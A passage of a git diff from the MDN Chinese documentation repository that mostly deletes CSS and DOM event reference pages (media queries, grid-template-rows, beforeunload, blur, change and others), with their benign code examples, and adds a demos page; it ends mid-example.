- -
@keyframes move {
-  from {
-    offset-distance: 0%;
-  }
-
-  to {
-    offset-distance: 100%;
-  }
-}
-
-#offsetElement {
-  width: 50px;
-  height: 50px;
-  background-color: blue;
-  offset: path("M 100 100 L 300 100 L 200 300 z") auto;
-  animation: move 3s linear infinite;
-}
-
- -

Result

- -

{{EmbedLiveSample("Example", 350, 350)}}

- -

规格

- - - - - - - - - - - - - - -
规格使用状态注释
{{SpecName('Motion Path Level 1', '#offset-shorthand', 'offset')}}{{Spec2('Motion Path Level 1')}}Initial definition
- -

浏览器兼容性

- -

该兼容性表生成从该网页的结构化数据。如果你愿意,请查看https://github.com/mdn/browser-compat-数据,并发送一个引入请求。

- -

{{Compat("css.properties.offset")}}

diff --git "a/files/zh-cn/web/css/\345\252\222\344\275\223\346\237\245\350\257\242/index.html" "b/files/zh-cn/web/css/\345\252\222\344\275\223\346\237\245\350\257\242/index.html" deleted file mode 100644 index 9936c531f1..0000000000 --- "a/files/zh-cn/web/css/\345\252\222\344\275\223\346\237\245\350\257\242/index.html" +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: 媒体查询 -slug: Web/CSS/媒体查询 -tags: - - CSS - - 参考 - - 响应式设计 - - 媒体查询 - - 总览 -translation_of: Web/CSS/Media_Queries ---- -
{{CSSRef}}
- -

通过媒体查询Media queries),您可以根据各种设备特征和参数的值或者是否存在来调整您的网站或应用。

- -

它们是响应式设计的关键组成部分。 例如,媒体查询可以缩小小型设备上的字体大小,在纵向模式下查看页面时增加段落之间的填充,或者增加触摸屏上按钮的大小。

- -

在 CSS 中,使用 {{cssxref("@media")}} at-rule 根据媒体查询的结果有条件地应用样式表的一部分。 使用 {{cssxref("@import")}} 有条件地应用整个样式表。

- -

在 HTML 中使用媒体查询

- -

HTML 中,媒体查询可以应用于各种元素:

- -
    -
  • 在{{HTMLElement("link")}}元素的{{htmlattrxref("media", "link")}}属性中,它们定义了待应用链接资源(通常是CSS)的媒体。
  • -
  • 在{{HTMLElement("source")}}元素的{{htmlattrxref("media", "source")}}属性中,它们定义待应用源的媒体。 (这仅在{{HTMLElement("picture")}}元素内有效。)
  • -
  • 在{{HTMLElement("style")}}元素的{{htmlattrxref("media", "style")}}属性中,它们定义待应用样式的媒体。
  • -
- -

在 JavaScript 中使用媒体查询

- -

JavaScript中,您可以使用 {{domxref("Window.matchMedia()")}} 方法根据媒体查询测试窗口。 您还可以使用{{domxref("MediaQueryList.addListener()")}}在查询状态发生变化时收到通知。 借助此功能,您的站点或应用可以响应设备配置,方向或状态的更改。

- -

您可以学习更多以编程方式使用媒体查询在测试媒体查询中。

- -

参考

- -

At-rules

- -
-
    -
  • {{cssxref("@import")}}
  • -
  • {{cssxref("@media")}}
  • -
-
- -

指南

- -
-
使用媒体查询
-
介绍媒体查询和媒体查询的的语法以及用于构造媒体查询表达式的运算符和媒体功能。
-
编程方式使用媒体查询
-
描述如何在 JavaScript 代码中使用媒体查询来确定设备的状态,以及设置在媒体查询结果发生更改时(例如,当用户旋转屏幕或调整浏览器大小时)通知代码的监听器。
-
使用媒体查询增强网站的可访问性
-
了解媒体查询如何帮助用户更好地了解您的网站。
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('CSS5 Media Queries')}}{{Spec2('CSS5 Media Queries')}}
{{SpecName('CSS3 Conditional')}}{{Spec2('CSS3 Conditional')}}
{{SpecName('CSS4 Media Queries')}}{{Spec2('CSS4 Media Queries')}}
{{SpecName('CSS3 Media Queries')}}{{Spec2('CSS3 Media Queries')}}
{{SpecName('CSS2.1', 'media.html')}}{{Spec2('CSS2.1')}}Initial definition
- -

浏览器兼容性

- -

@media rule

- - - -

{{Compat("css.at-rules.media")}}

- -

参见

- -
    -
  • Use {{cssxref("@supports")}} to apply styles that depend on browser support for various CSS technologies.
  • -
diff --git "a/files/zh-cn/web/css/\346\226\207\346\234\254\350\243\205\351\245\260\347\272\277\345\216\232\345\272\246(\347\262\227\347\273\206)/index.html" "b/files/zh-cn/web/css/\346\226\207\346\234\254\350\243\205\351\245\260\347\272\277\345\216\232\345\272\246(\347\262\227\347\273\206)/index.html" deleted file mode 100644 index cdffd6eced..0000000000 --- "a/files/zh-cn/web/css/\346\226\207\346\234\254\350\243\205\351\245\260\347\272\277\345\216\232\345\272\246(\347\262\227\347\273\206)/index.html" +++ /dev/null @@ -1,119 +0,0 @@ ---- -title: 文本装饰线厚度(粗细) -slug: Web/CSS/文本装饰线厚度(粗细) -tags: - - 装饰线粗细 装饰线厚度 -translation_of: Web/CSS/text-decoration-thickness ---- -
{{CSSRef}}
- -
CSS 属性 text-decoration-thickness 用于设置元素中文本所使用的装饰线(如 line-through、underline 或 overline)的笔触厚度。
- -

语法

- -
/* Single keyword */
-text-decoration-thickness: auto;
-text-decoration-thickness: from-font;
-
-/* length */
-text-decoration-thickness: 0.1em;
-text-decoration-thickness: 3px;
-
-/* percentage */
-text-decoration-thickness: 10%;
-
-/* Global values */
-text-decoration-thickness: inherit;
-text-decoration-thickness: initial;
-text-decoration-thickness: unset;
- -

- -
-
auto
-
由浏览器为文本装饰线选择合适的厚度。
-
from-font
-
如果字体文件中包含了首选的厚度值,则使用字体文件的厚度值。如果字体文件中没有包含首选的厚度值,则效果和设置为 auto 一样,由浏览器选择合适的厚度值。
-
<length>
-
将文本装饰线的厚度设置为一个 {{cssxref('length')}} 类型的值,覆盖掉字体文件建议的值或浏览器默认的值。
-
<percentage>
-
Specifies the thickness of the text decoration line as a {{cssxref('percentage')}} of 1em in the current font. A percentage inherits as a relative value, and so therefore scales with changes in the font. The browser must use a minimum of 1 device pixel. For a given application of this property, the thickness is constant across the whole box it is applied to, even if there are child elements with a different font size.
-
- -

Formal definition

- -

{{CSSInfo}}

- -

Formal syntax

- -
{{csssyntax}}
- -

示例

- -

Varying thickness

- -

HTML

- -
<p class="thin">Here's some text with a 1px red underline.</p>
-<p class="thick">This one has a 5px red underline.</p>
-<p class="shorthand">This uses the equivalent shorthand.</p>
- -

CSS

- -
.thin {
-  text-decoration-line: underline;
-  text-decoration-style: solid;
-  text-decoration-color: red;
-  text-decoration-thickness: 1px;
-}
-
-.thick {
-  text-decoration-line: underline;
-  text-decoration-style: solid;
-  text-decoration-color: red;
-  text-decoration-thickness: 5px;
-}
-
-.shorthand {
-  text-decoration: underline solid red 5px;
-}
- -

Results

- -

{{ EmbedLiveSample('Varying_thickness', '', '', '') }}

- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('CSS4 Text Decoration', '#text-decoration-width-property', 'text-decoration-width')}}{{Spec2('CSS4 Text Decoration')}}Initial definition.
- -
-

Note: The property used to be called text-decoration-width, but was updated in 2019 to text-decoration-thickness.

-
- -

浏览器兼容性

- - - -

{{Compat("css.properties.text-decoration-thickness")}}

- -

相关链接

- -
    -
  • {{cssxref("text-decoration")}}
  • -
  • {{cssxref("text-underline-offset")}}
  • -
diff --git "a/files/zh-cn/web/css/\347\275\221\346\240\274-\346\250\241\346\235\277-\345\210\227/index.html" "b/files/zh-cn/web/css/\347\275\221\346\240\274-\346\250\241\346\235\277-\345\210\227/index.html" deleted file mode 100644 index 0dcd6b29d5..0000000000 --- "a/files/zh-cn/web/css/\347\275\221\346\240\274-\346\250\241\346\235\277-\345\210\227/index.html" +++ /dev/null @@ -1,209 +0,0 @@ ---- -title: grid-template-rows -slug: Web/CSS/网格-模板-列 -tags: - - grid-template-rows -translation_of: Web/CSS/grid-template-rows ---- -

grid-template-rows 该属性是基于 {{glossary("grid rows", "网格行")}} 的维度,去定义网格线的名称和网格轨道的尺寸大小。

- -
{{EmbedInteractiveExample("pages/css/grid-template-rows.html")}}
- - - -

语法

- -
/* Keyword value */
-grid-template-rows: none;
-
-/* <track-list> values */
-grid-template-rows: 100px 1fr;
-grid-template-rows: [linename] 100px;
-grid-template-rows: [linename1] 100px [linename2 linename3];
-grid-template-rows: minmax(100px, 1fr);
-grid-template-rows: fit-content(40%);
-grid-template-rows: repeat(3, 200px);
-
-/* <auto-track-list> values */
-grid-template-rows: 200px repeat(auto-fill, 100px) 300px;
-grid-template-rows: minmax(100px, max-content)
-                       repeat(auto-fill, 200px) 20%;
-grid-template-rows: [linename1] 100px [linename2]
-                       repeat(auto-fit, [linename3 linename4] 300px)
-                       100px;
-grid-template-rows: [linename1 linename2] 100px
-                       repeat(auto-fit, [linename1] 300px) [linename3];
-
-/* Global values */
-grid-template-rows: inherit;
-grid-template-rows: initial;
-grid-template-rows: unset;
-
- -

该属性可能包含如下值:

- -
    -
  • 关键字 none
  • -
  • 或者 <track-list> 值
  • -
  • 或者 <auto-track-list> 值。
  • -
- -

- -
-
none
-
这个关键字表示不明确的网格。所有的行和其大小都将由{{cssxref("grid-auto-rows")}} 属性隐式的指定。
-
{{cssxref("<length>")}}
-
非负值的长度大小。
-
{{cssxref("<percentage>")}}
-
非负值且相对于网格容器的 {{cssxref("percentage", "<百分比>")}}。 如果网格容器的尺寸大小依赖网格轨道的大小(比如 inline-grid ),则百分比值将被视为auto
-
为了遵守网格的百分比,网格轨道本身定义的大小,将自动被调整为相对网格容器大小,并且是以最小量将网格轨道调整到最终的大小。
-
{{cssxref("<flex_value>","<flex>")}}
-
非负值,用单位 fr 来定义网格轨道大小的弹性系数。 每个定义了 <flex> 的网格轨道会按比例分配剩余的可用空间。当外层用一个 minmax() 表示时,它将是一个自动最小值(即 minmax(auto, <flex>) ) 。
-
max-content
-
是一个用来表示以网格项的最大的内容来占据网格轨道的关键字。
-
min-content
-
是一个用来表示以网格项的最大的最小内容来占据网格轨道的关键字。
-
{{cssxref("minmax", "minmax(min, max)")}}
-
是一个来定义大小范围的属性,大于等于min值,并且小于等于max值。如果max值小于min值,则该值会被视为min值。最大值可以设置为网格轨道系数值<flex> ,但最小值则不行。 
-
-

Note:  该规范在将来可能会允许设置最小值为 flex ,也会调整网格轨道算法(track sizing algorithm) 计算出正确的大小。

-
-
auto
-
如果该网格轨道为最大时,该属性等同于 <max-content> ,为最小时,则等同于 <min-content> 。
-
-

Note: 网格轨道大小为 auto (且只有为 auto ) 时,才可以被属性{{cssxref("align-content")}} 和 {{cssxref("justify-content")}} 拉伸 。

-
-
{{cssxref("fit-content", "fit-content( [ <length> | <percentage> ] )")}}
-
相当于公式 min(max-content, max(auto, argument)),类似于auto 的计算(即 minmax(auto, max-content)),除了网格轨道大小值是确定下来的,否则该值都大于 auto 的最小值。
-
{{cssxref("repeat", "repeat( [ <positive-integer> | auto-fill | auto-fit ] , <track-list> )")}}
-
表示网格轨道的重复部分,以一种更简洁的方式去表示大量而且重复行的表达式。
-
- -

正式语法

- -
{{csssyntax}}
- -

示例

- -

CSS

- -
#grid {
-  display: grid;
-  height: 100px;
-  grid-template-rows: 30px 1fr;
-}
-
-#areaA {
-  background-color: lime;
-}
-
-#areaB {
-  background-color: yellow;
-}
- -

HTML

- -
<div id="grid">
-  <div id="areaA">A</div>
-  <div id="areaB">B</div>
-</div>
- -

结果

- -

{{EmbedLiveSample("示例", "40px", "100px")}}

- -

规范

- - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName("CSS3 Grid", "#propdef-grid-template-rows", "grid-template-rows")}}{{Spec2("CSS3 Grid")}}初步定义
- -

{{cssinfo}}

- -

浏览器兼容性

- -

 

- - - -

{{Compat("css.properties.grid-template-rows")}}

- -

 

- -

参见

- - - - diff --git a/files/zh-cn/web/demos_of_open_web_technologies/index.html b/files/zh-cn/web/demos_of_open_web_technologies/index.html new file mode 100644 index 0000000000..2a8a22bce5 --- /dev/null +++ b/files/zh-cn/web/demos_of_open_web_technologies/index.html @@ -0,0 +1,154 @@ +--- +title: 开源 Web 技术示例 +slug: Web/演示说明 +tags: + - 2D + - 3D + - CSS + - Canvas + - Design + - HTML + - SVG + - Video +translation_of: Web/Demos_of_open_web_technologies +--- +

Mozilla 支持各种令人兴奋的开源 Web 技术,我们鼓励大家使用它们。此页面提供了有关这些技术的一些有趣演示链接。

+ +

如果你知道开源 Web 技术的优秀演示或者应用,就在这里(以及 英文页面)添加一个合适的链接吧。

+ +

2D 图形

+ +

Canvas

+ + + +

SVG

+ + + +

视频

+ + + +

3D 图像

+ +

WebGL

+ + + +

虚拟现实(VR)

+ + + +

CSS

+ + + +

旧项目:

+ + + +

变换

+ + + +

游戏

+ + + +

Web API

+ +
    +
+ +

通知 API

+ + + +
    +
+ +

网络音频 API

+ + + +

文件 API

+ + + +

其他

+ + diff --git a/files/zh-cn/web/events/abort/index.html b/files/zh-cn/web/events/abort/index.html deleted file mode 100644 index 9a233b4d80..0000000000 --- a/files/zh-cn/web/events/abort/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: abort -slug: Web/Events/abort -tags: - - abort -translation_of: Web/API/HTMLMediaElement/abort_event -translation_of_original: Web/Events/abort ---- -

当一个资源的加载已中止时,将触发 abort事件。

- -
-

译者注:这个事件只在 IE 支持,试了最新的 Chrome、FireFox、Safari 都不支持。

-
- -

常规信息

- -
-
规范
-
DOM L3
-
接口
-
从UI组件产生为UIEvent , 否则为Event .
-
是否冒泡
-
-
可取消默认行为
-
-
目标对象
-
元素(Element)
-
默认行为
-
-
- -

属性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
属性类型描述
target {{readonlyInline}}{{domxref("EventTarget")}}产生该事件的对象(DOM树中最顶级的那个对象).
type {{readonlyInline}}{{domxref("DOMString")}}事件类型.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}该事件是否冒泡.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}该事件是否可取消默认行为.
view {{readonlyInline}}WindowProxydocument.defaultView (该文档的window对象 )
detail {{readonlyInline}}long (float)0.
diff --git a/files/zh-cn/web/events/afterprint/index.html b/files/zh-cn/web/events/afterprint/index.html deleted file mode 100644 index 3ee72441cd..0000000000 --- a/files/zh-cn/web/events/afterprint/index.html +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: afterprint -slug: Web/Events/afterprint -translation_of: Web/API/Window/afterprint_event ---- -

在相关联的文档已开始打印或打印预览已关闭之后, 触发 afterprint事件。

- -

基本信息

- -
-
Specification
-
HTML5
-
Interface
-
Event
-
Bubbles
-
No
-
Cancelable
-
No
-
Target
-
DefaultView (<window>)
-
Default Action
-
None
-
- -

属性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
- -

例子

- -

使用 addEventListener():

- -
window.addEventListener('afterprint', (event) => {
-  console.log('After print');
-});
- -

使用 onafterprint 时间监听属性:

- -
window.onafterprint = (event) => {
-  console.log('After print');
-};
- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatus
{{SpecName('HTML WHATWG', '#event-afterprint')}}{{Spec2('HTML WHATWG')}}
- -

浏览器兼容性

- - - -

{{Compat("api.Window.afterprint_event")}}

- -

相关事件

- - diff --git a/files/zh-cn/web/events/afterscriptexecute/index.html b/files/zh-cn/web/events/afterscriptexecute/index.html deleted file mode 100644 index b2f4f0d980..0000000000 --- a/files/zh-cn/web/events/afterscriptexecute/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Element:afterscriptexecute 事件 -slug: Web/Events/afterscriptexecute -tags: - - 事件 - - 参考 - - 非标准 -translation_of: Web/API/Element/afterscriptexecute_event ---- -
{{APIRef}}
- -
{{Non-standard_header}}
- -
-

此事件是早期版本的规范中的一个提案。不要依赖它。

-
- -

afterscriptexecute 事件在一个脚本执行完毕后触发。

- -

这是一个 Gecko(Firefox)特有的私有事件。

- - - - - - - - - - - - - - - - - - - - -
是否冒泡
是否可取消
接口{{domxref("Event")}}
事件处理器属性
- -

规范

- -

不属于任何规范。

- -

浏览器兼容性

- - - -

{{Compat("api.Element.afterscriptexecute_event")}}

- -

参见

- - diff --git a/files/zh-cn/web/events/animationend/index.html b/files/zh-cn/web/events/animationend/index.html deleted file mode 100644 index cb701ac392..0000000000 --- a/files/zh-cn/web/events/animationend/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: animationend -slug: Web/Events/animationend -tags: - - Animation - - AnimationEvent - - CSS Animations - - CSS3 Animations - - Event - - Reference - - animationend -translation_of: Web/API/HTMLElement/animationend_event ---- -

animationend 事件会在一个 CSS 动画完成时触发(不包括完成前就已终止的情况,例如元素变得不可见或者动画从元素中移除)。

- -

常规信息

- -
-
规范
-
{{SpecName("CSS3 Animations")}}
-
接口
-
{{domxref("AnimationEvent")}}
-
是否冒泡
-
-
事件可取消
-
-
目标
-
{{domxref("Document")}}, {{domxref("Element")}}, {{domxref("Window")}}
-
默认行为
-
-
- -

属性表

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
属性类型描述
target {{ReadOnlyInline}}{{domxref("EventTarget")}}事件目标(DOM 顶层目标)。
type {{ReadOnlyInline}}{{domxref("DOMString")}}事件类型
bubbles {{ReadOnlyInline}}boolean事件是否正常冒泡?
cancelable {{ReadOnlyInline}}boolean可否取消该事件?
animationName {{ReadOnlyInline}}{{domxref("DOMString")}}与该动画相关的 CSS 属性值。
elapsedTime {{ReadOnlyInline}}Float动画运行时长,单位为秒,与直到该事件被触发的时间相一致,不包括任何动画暂停时的时长。应等于 {{cssxref("animation-iteration-count")}} 乘以 {{cssxref("animation-duration")}} 的积,动画总活动的时长。
- -

相关事件

- -
    -
  • {{Event("animationstart")}}
  • -
  • {{Event("animationiteration")}}
  • -
  • {{Event("animationcancel")}}
  • -
- -

参见

- - diff --git a/files/zh-cn/web/events/animationstart/index.html b/files/zh-cn/web/events/animationstart/index.html deleted file mode 100644 index 53929bfb0d..0000000000 --- a/files/zh-cn/web/events/animationstart/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: animationstart -slug: Web/Events/animationstart -tags: - - Animation - - AnimationEvent - - CSS Animations - - CSS3 Animations - - Event - - Reference - - animationstart -translation_of: Web/API/HTMLElement/animationstart_event ---- -

animationstart 事件会在 CSS 动画开始时触发。 如果有 animation-delay 延时,事件会在延迟时效过后立即触发。为负数的延时时长会致使事件被触发时事件的 elapsedTime 属性值等于该时长的绝对值(并且,相应地,动画将直接播放该时长绝对值之后的动画)。

- -

基本信息

- -
-
规格
-
CSS Animations
-
接口
-
AnimationEvent
-
是否冒泡
-
-
事件可取消
-
-
目标
-
Document, Element
-
默认行为
-
-
- -

属性表

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
属性类型描述
target {{ReadOnlyInline}}{{domxref("EventTarget")}}事件来源(DOM 顶层目标)。
type {{ReadOnlyInline}}{{domxref("DOMString")}}事件类型
bubbles {{ReadOnlyInline}}boolean事件是否正常冒泡?
cancelable {{ReadOnlyInline}}boolean可否取消该事件?
animationName {{ReadOnlyInline}}{{domxref("DOMString")}}与该动画相关的 CSS 属性值。
elapsedTime {{ReadOnlyInline}}Float动画运行时长,单位为秒,与直到该事件被触发的时间相一致,不包括任何动画暂停时的时长。此值应为 0 除非 animation-delay 是一个负值,这种情况下此值为 (-1 * {{cssxref("animation-delay")}}),并且动画将直接从此值后的序列开始播放。
- -

相关事件

- -
    -
  • {{Event("animationstart")}}
  • -
  • {{Event("animationend")}}
  • -
  • {{Event("animationiteration")}}
  • -
- -

另请参阅

- - diff --git a/files/zh-cn/web/events/beforeprint/index.html b/files/zh-cn/web/events/beforeprint/index.html deleted file mode 100644 index fe9480238a..0000000000 --- a/files/zh-cn/web/events/beforeprint/index.html +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: beforeprint -slug: Web/Events/beforeprint -translation_of: Web/API/Window/beforeprint_event ---- -

当相关联的文档即将打印或预览以进行打印时,将触发beforeprint事件。

- -

基本信息

- -
-
Specification
-
HTML5
-
Interface
-
Event
-
Bubbles
-
No
-
Cancelable
-
No
-
Target
-
DefaultView (<window>)
-
Default Action
-
None
-
- -

属性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
属性类型描述
target {{readonlyInline}}{{domxref("EventTarget")}}事件目标 (DOM 树中的最顶层目标)
type {{readonlyInline}}{{domxref("DOMString")}}时间类型
bubbles {{readonlyInline}}{{jsxref("Boolean")}}事件是否冒泡
cancelable {{readonlyInline}}{{jsxref("Boolean")}}事件是否可取消
- -

样例

- -

使用 addEventListener()

- -
window.addEventListener('beforeprint', (event) => {
-  console.log('Before print');
-});
- -

使用 onbeforeprint 事件监听属性:

- -
window.onbeforeprint = (event) => {
-  console.log('Before print');
-};
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatus
{{SpecName('HTML WHATWG', '#event-beforeprint')}}{{Spec2('HTML WHATWG')}}
- -

浏览器兼容性

- - - -

{{Compat("api.Window.beforeprint_event")}}

- -

相关事件

- - diff --git a/files/zh-cn/web/events/beforescriptexecute/index.html b/files/zh-cn/web/events/beforescriptexecute/index.html deleted file mode 100644 index 00aa4120c1..0000000000 --- a/files/zh-cn/web/events/beforescriptexecute/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Element:beforescriptexecute 事件 -slug: Web/Events/beforescriptexecute -tags: - - DOM - - 参考 - - 非标准 -translation_of: Web/API/Element/beforescriptexecute_event ---- -
{{APIRef}}
- -
{{Non-standard_header}}
- -
-

此事件是早期版本的规范中的一个提案。不要依赖它。

-
- -

beforescriptexecute 事件在一个脚本被执行前触发,取消此事件可以阻止该脚本的执行。

- -

这是一个 Gecko(Firefox)特有的私有事件。

- - - - - - - - - - - - - - - - - - - - -
是否冒泡
是否可取消
接口{{domxref("Event")}}
事件处理器属性
- -

规范

- -

不属于任何规范。

- -

浏览器兼容性

- - - -

{{Compat("api.Element.beforescriptexecute_event")}}

- -

参见

- - diff --git a/files/zh-cn/web/events/beforeunload/index.html b/files/zh-cn/web/events/beforeunload/index.html deleted file mode 100644 index 9cef2f2cfc..0000000000 --- a/files/zh-cn/web/events/beforeunload/index.html +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: 'Window: beforeunload event' -slug: Web/Events/beforeunload -tags: - - Event - - Window - - beforeunload - - 事件 - - 参考 -translation_of: Web/API/Window/beforeunload_event ---- -

当浏览器窗口关闭或者刷新时,会触发beforeunload事件。当前页面不会直接关闭,可以点击确定按钮关闭或刷新,也可以取消关闭或刷新。

- - - - - - - - - - - - - - - - - - - - -
BubblesNo
CancelableYes
Interface{{domxref("Event")}}
Event handler property{{domxref("WindowEventHandlers/onbeforeunload", "onbeforeunload")}}
- -

事件使网页能够触发一个确认对话框,询问用户是否真的要离开该页面。如果用户确认,浏览器将导航到新页面,否则导航将会取消。

- -

根据规范,要显示确认对话框,事件处理程序需要在事件上调用{{domxref("Event.preventDefault()", "preventDefault()")}}。

- -

但是请注意,并非所有浏览器都支持此方法,而有些浏览器需要事件处理程序实现两个遗留方法中的一个作为代替:

- -
    -
  • 将字符串分配给事件的returnValue属性
  • -
  • -

    从事件处理程序返回一个字符串。

    -
  • -
- -

某些浏览器过去在确认对话框中显示返回的字符串,从而使事件处理程序能够向用户显示自定义消息。但是,此方法已被弃用,并且在大多数浏览器中不再支持。

- -

为避免意外弹出窗口,除非页面已与之交互,否则浏览器可能不会显示在beforeunload事件中创建的提示,甚至根本不会显示它们。

- -

将事件处理程序/监听器加到window或 documentbeforeunload事件后,将阻止浏览器使用内存中的页面导航缓存,例如Firefox的Back-Forward缓存WebKit的Page Cache

- -

HTML规范指出在此事件中调用{{domxref("window.alert()")}},{{domxref("window.confirm()")}}以及{{domxref("window.prompt()")}}方法,可能会失效。更多详细信息,请参见HTML规范

- -

示例

- -

HTML规范指出作者应该使用 {{domxref("Event.preventDefault()")}} 而非 {{domxref("Event.returnValue")}},然而,不是所有浏览器都支持这么做。

- -
window.addEventListener('beforeunload', (event) => {
-  // Cancel the event as stated by the standard.
-  event.preventDefault();
-  // Chrome requires returnValue to be set.
-  event.returnValue = '';
-});
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - -
规范状态注释
{{SpecName("HTML WHATWG", "indices.html#event-beforeunload", "beforeunload")}}{{Spec2("HTML WHATWG")}}
{{SpecName("HTML5 W3C", "browsers.html#unloading-documents", "beforeunload")}}{{Spec2("HTML5 W3C")}}Initial definition
- -

浏览器兼容性

- - - -

{{Compat("api.Window.beforeunload_event")}}

- -

参阅

- - diff --git a/files/zh-cn/web/events/blur/index.html b/files/zh-cn/web/events/blur/index.html deleted file mode 100644 index a57cc5b995..0000000000 --- a/files/zh-cn/web/events/blur/index.html +++ /dev/null @@ -1,150 +0,0 @@ ---- -title: blur (event) -slug: Web/Events/blur -translation_of: Web/API/Element/blur_event ---- -

当一个元素失去焦点的时候 blur 事件被触发。它和 focusout 事件的主要区别是 focusout 支持冒泡。

- -

常规信息

- -
-
规范
-
DOM L3
-
接口
-
{{domxref("FocusEvent")}}
-
是否冒泡
-
-
可取消默认行为
-
-
目标对象
-
元素(Element)
-
默认行为
-
-
- -

{{NoteStart}}{{domxref("Document.activeElement")}} 的值随浏览器的不同而不同 ({{bug(452307)}}): IE10把值设为焦点将要移向的对象 , 而Firefox和Chrome 往往把值设为body .{{NoteEnd}}

- -

属性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
属性类型描述
target {{readonlyInline}}{{domxref("EventTarget")}}产生该事件的对象(DOM树中最顶级的那个对象).
type {{readonlyInline}}{{domxref("DOMString")}}事件类型.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}该事件是否冒泡.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}该事件是否可取消默认行为.
relatedTarget {{readonlyInline}}{{domxref("EventTarget")}} (DOM 元素)
- -

事件代理

- -

有两种方法来为这个事件实现事件代理:在支持 focusout 事件的浏览器中使用 focusout 事件(除了 FireFox 以外的浏览器都支持 focusout)或者通过设置 addEventListener 方法的第三个参数 "useCapture" 为 true:

- -

HTML Content

- -
<form id="form">
-  <input type="text" placeholder="text input">
-  <input type="password" placeholder="password">
-</form>
- -

JavaScript Content

- -
var form = document.getElementById("form");
-form.addEventListener("focus", function( event ) {
-  event.target.style.background = "pink";
-}, true);
-form.addEventListener("blur", function( event ) {
-  event.target.style.background = "";
-}, true);
- -

{{EmbedLiveSample('Event_delegation')}}

- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{CompatVersionUnknown}}[1]612.15.1
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support4.053{{CompatUnknown}}10.012.15.1
-
- -

[1] 在 Gecko 24 {{geckoRelease(24)}} 之前,事件的接口为 {{domxref("Event")}},而不是 {{domxref("FocusEvent")}}。参考 ({{bug(855741)}}).

- -

相关的事件

- -
    -
  • {{event("focus")}}
  • -
  • {{event("blur")}}
  • -
  • {{event("focusin")}}
  • -
  • {{event("focusout")}}
  • -
diff --git a/files/zh-cn/web/events/change/index.html b/files/zh-cn/web/events/change/index.html deleted file mode 100644 index 6a997fc430..0000000000 --- a/files/zh-cn/web/events/change/index.html +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: change -slug: Web/Events/change -tags: - - Change - - HTML - - HTML DOM - - HTMLElement - - change vs. input - - 事件 - - 参考 -translation_of: Web/API/HTMLElement/change_event ---- -

{{APIRef}}

- -

当用户更改{{HTMLElement("input")}}、{{HTMLElement("select")}}和{{HTMLElement("textarea")}} 元素的值并提交这个更改时,change 事件在这些元素上触发。和 {{domxref("HTMLElement/input_event", "input")}} 事件不一样,change 事件并不是每次元素的 value 改变时都会触发。

- - - - - - - - - - - - - - - - - - - - -
冒泡
可取消
接口{{domxref("Event")}}
事件处理程序属性{{domxref("GlobalEventHandlers/onchange", "onchange")}}
- -

基于表单元素的类型和用户对标签的操作的不同,change 事件触发的时机也不同:

- -
    -
  • 当元素是 :checked 状态时(通过点击或者使用键盘),见于 {{HTMLElement('input/radio', '<input type="radio">')}} 和 {{HTMLElement('input/checkbox', '<input type="checkbox">')}}
  • -
  • 当用户显式提交改变时(例如:点击了 {{HTMLElement("select")}}中的一个选项,从 {{HTMLElement('input/date', '<input type="date">')}} 标签选择了一个日期,通过 {{HTMLElement('input/file', '<input type="file">')}} 标签上传了一个文件等);
  • -
  • 当标签的值被修改并且失去焦点后,但未提交时(例如:对{{HTMLElement("textarea")}} 或者 {{HTMLElement('input/text', '<input type="text">')}}的值进行编辑后)。
  • -
- -

示例

- -

<select> 元素

- -

HTML

- -
<label>Choose an ice cream flavor:
-  <select class="ice-cream" name="ice-cream">
-    <option value="">Select One …</option>
-    <option value="chocolate">Chocolate</option>
-    <option value="sardine">Sardine</option>
-    <option value="vanilla">Vanilla</option>
-  </select>
-</label>
-
-<div class="result"></div>
- -
body {
-  display: grid;
-  grid-template-areas: "select result";
-}
-
-select {
-  grid-area: select;
-}
-
-.result {
-  grid-area: result;
-}
-
- -

JavaScript

- -
const selectElement = document.querySelector('.ice-cream');
-
-selectElement.addEventListener('change', (event) => {
-  const result = document.querySelector('.result');
-  result.textContent = `You like ${event.target.value}`;
-});
-
- -

结果

- - - -

文本输入元素

- -

对于一些元素,包括 <input type="text">change 事件在控件失去焦点前都不会触发。试一下在下面的输入框输入一些文字,然后点击输入框外的地方来触发事件。

- -

HTML

- -
<input placeholder="Enter some text" name="name"/>
-<p id="log"></p>
- -

JavaScript

- -
const input = document.querySelector('input');
